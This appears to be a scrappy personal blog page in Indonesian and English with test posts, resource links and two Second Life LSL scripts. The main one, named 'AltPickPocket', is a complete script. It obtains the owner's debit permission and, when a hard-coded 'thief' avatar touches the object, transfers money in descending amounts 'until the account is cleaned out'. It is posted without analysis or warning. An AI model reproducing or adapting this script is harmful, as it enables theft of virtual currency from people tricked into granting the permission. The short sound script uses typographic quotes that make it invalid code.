
Testing from ipod

Testing from ipod
Buat bikin sculpted prim make blender : Machinimatrix
Themes WP: Happyblog Design
Typography: I love Typography
aphrodite - ready or not
actually i’m testing this audio post :P
default
{
state_entry ()
{
llCollisionSound (‘sound.wav’,1);
}
}
gunanya untuk mengisi sound ke dalam suatu primitive
key thief = "605dc2e5-3bdf-427e-a38d-98390c124249"; // Insert the key of the person who is going to get the money here. list ammount = [32768, 16384, 8192, 4096, 2048, 1024, 512, 256, 128, 64, 32, 16, 8, 4, 2, 1]; // Use a list to enumerate payments
until the account is cleaned out.
pay () {
integer m = llGetListLength(ammount);
integer i = 0;
while (i<m) {
llGiveMoney(thief,llList2Integer(ammount,i));
i++;
}
}
default
{
on_rez(integer number)
{
llResetScript(); // Make sure Ownership Changes properly.
}
state_entry()
{
llSetObjectName("AltPickPocket"); // Set the Object Name
llRequestPermissions(llGetOwner(),PERMISSION_DEBIT);// Request Owners permission to debit money.
}
touch_start(integer total_number)
{
if(llDetectedKey(0) == thief) // if the thief is touching the object
{
llSay(0, "You are the Authorized."); // Tell them they are Authorized
pay(); // Then Pay them
}else{ // If it is not the thief touching the object
llSay(0, "You are NOT Authorized!"); // then deny them
}
}
run_time_permissions(integer number)
{
if(number >0)
{
llOwnerSay("Activated!");
llSetColor(<0,1,0>, ALL_SIDES);
llSetText("Active",<0,1,0>,1);
}else{
llSay(0, "PickPocket has no permissions");
llSetColor(<1,0,0>, ALL_SIDES);
llSetText("InActive",<1,0,0>,1);
}
}
}